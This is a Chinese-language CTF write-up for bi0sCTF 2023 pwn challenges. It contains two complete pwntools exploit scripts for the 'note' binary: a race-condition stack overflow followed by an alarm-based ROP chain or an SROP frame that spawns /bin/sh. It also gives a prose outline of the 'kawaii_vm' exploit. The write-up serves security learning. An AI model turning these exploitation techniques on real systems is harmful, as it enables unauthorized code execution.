2023的bi0sctf!虽然还是卡在了第一个pwn题,但是题目也算是有意思。(还是挺难的)
note 解法1 在main()里面,产生两个线程。一个线程用来进行heap相关操作,增删改查,另一个用来把heap中输入的内容复制到一个本地的临时变量中。
其实还是相当明显的,是一个条件竞争问题。在start_routine中,有一个明显的TOCTOU栈溢出。当检查完size之后,可以很快的在sleep的同时,修改content,导致后面memcpy()的时候栈溢出。尽管这里有一个enc(),但是他是可逆的,并且我们也不太需要关注。因为完全可以在sleep(1u)这个时间点把内容copy到本地栈上去。
但是在getshell的时候会出现一些问题。首先是泄露libc,并不能找到很好的泄露函数。而如果直接syscall,则找不到简单的控制rax==0x3b的方法,无法调用execve
。这里学到了使用alarm
(其实之前见过,忘记了)。当alarm第二次调用时,rax中会储存上一次调用alarm时设置的时间还剩下对少。因此如果我们如下构造ropchain,就能得到一个0x3b的rax。而很巧的是,在栈溢出的时候,rdx和rsi都是0。因此我们也就只剩下rdi需要考虑了。
1 2 3 4 5 6 pop rdi 0x3b call alarm pop rdi 0x3b call alarm
对于rdi,我们需要读入一个/bin/sh。程序中print
函数正好可以被利用。如下可以看到,由于我们可以通过pip rdi控制输入参数,只要输入一个bss的地址,就可以在这里read(a1,8)的地方读入一个”/bin/sh”。
因此,我们只需要做以下几件事情
add一个正常的note
sleep(2)来度过另一个线程的sleep和encrypt阶段
构造payload
设置rax
读入/bin/sh
布置execve()
触发栈溢出
完整payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *import timefilename="./notes_ori" libc_name="/home/nicholas/glibc-all-in-one/libs/2.34-0ubuntu3.2_amd64/libc.so.6" io = process(filename) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] def add (_id , name, size, content ): io.recvuntil("Choice: " ) io.sendline('1' ) io.recvuntil("ID: " ) io.send(_id ) io.recvuntil("Name: " ) io.send(name) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.send(content) def anti_ciph (content ): content = content.ljust(0x3ff ,'\x90' ) result = b"" secret = "2111485077978050" for i in range (0 ,1023 ): ans = content[i]^ord (key[i%16 ]) ans_byte = ans.to_bytes(1 ,byteorder="little" ) result += bytearray (ans_byte) return result def debug (): gdb.attach(io, "b *0x401B7A" ) pop_rdi = 0x0000000000401bc0 syscall = 0x401BC2 alarm = 0x401060 edits = 0x00401795 bss = elf.bss() + 0x500 add("a" ,"a" ,30 ,"a" ) payload = b"" payload += b'a' *(64 +8 ) payload += p64(pop_rdi) payload += p64(bss) payload += p64(edits) payload += p64(pop_rdi) payload += p64(0x3b ) payload += p64(alarm) payload += p64(pop_rdi) payload += p64(0x3b ) payload += p64(alarm) payload += p64(pop_rdi) payload += p64(bss) payload += p64(syscall) time.sleep(2 ) add("a" ,"a" ,0x200 ,payload) input (">" )io.recvuntil("Enter Note ID: " ) io.send("//bin/sh\x00" ) io.recvuntil("Note Name: " ) io.sendline("/bin/sh\x00" ) io.recvuntil("Content: " ) io.sendline('a' ) io.interactive()
解法2 这里还在discord上面看到一种解法,即不适用alarm()来控制rax,而是使用srop
。这样只需要在retFrame里面填上相应的数值即可。不过代价是需要的空间更大(100左右字节)。作者的wp如下。这里也是第一次见到srop的这种用法(太菜了…)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 def store (note_id, name, size, data ): sl(b"1" ) sla(b"ID: " , note_id) sla(b"Name: " , name) sla(b"Size: " , size) sla(b"Content: " , data) def delete (note_id ): sl(b"2" ) sla(b"ID: " , note_id) def print_note (note_id ): sl(b"3" ) sla(b"ID: " , note_id) def upgrade (size, name ): sl(b"4" ) sla(b"Size: " , size) sla(b"Name: " , name) def encrypt (note_id, data ): sl(b"5" ) sla(b"ID: " , note_id) sla(b"Content: " , data) def prepare_enc (data ): return xor(data, b"2111485077978050" ) bss = 0x404100 pop_rdi = p64(0x401bc0 ) read = p64(0x4013D6 ) frame = SigreturnFrame(kernel='amd64' ) frame.rip = 0x401bc2 frame.rax = 59 frame.rdi = bss frame.rsi = 0x404200 frame.rdx = 0x404208 payload = b"A" * 64 + p64(0 ) + pop_rdi + p64(bss) + read + pop_rdi + p64(15 ) + p64(elf.plt.syscall) + bytes (frame) store(b"1" , b"pepe" , 64 , b"A" *64 ) encrypt(b"1" , prepare_enc(payload)) sleep(6 ) store(b"1" , b"pepe" , 64 , b"A" *64 ) sleep(2 ) upgrade(len (payload), b"pepe" ) sleep(3 ) sla(b"Sent" , b"//bin/sh\x00" ) sl(b"//bin/sh\x00" ) sl(b"//bin/sh\x00" ) io.interactive()
kawaii_vm 作者的writeup
这道题其实利用上只能说是很麻烦,但是用到的技巧并不多。逆向起来会需要一些时间。程序在check中,如果一开始请求的页数是nan
(直接输入字符的形式)则会通过很多的检查。如下。包括下面计算的bytes_num,以及后面一页中对于输入语法的check等。
在对于语法的check中,会检查当前写入的数组下标是否超过了当时写的数组大小的界限。如果返回true就说明越界了。但是nan使得一直返回false。
在exec()中,是一个虚拟机。除了一般的加减乘除之外,还包括对于栈的出入,对于一个array的写入和读取操作。注意到array开始位置在libc上面附近,因此由于我们可以任意长度读取写入,相当于我们就有了对libc的任意读写的能力。作者的libc是2.36的,基本没有FSOP(有一篇文章 通过angr验证了当前libc中可用的FSOP方法已经不多了)。结合程序开了orw保护,应该只能劫持返回地址了。
作者给的思路是通过写tcachebins,从而控制malloc返回的地址到可控地址,之后用虚拟机自身指令修改vm的栈指针指向一个栈上地址再做rop。因为libc没有调试符号,不太想做了==
这题的收获是逆向起来还是有点意思,以及nan的使用。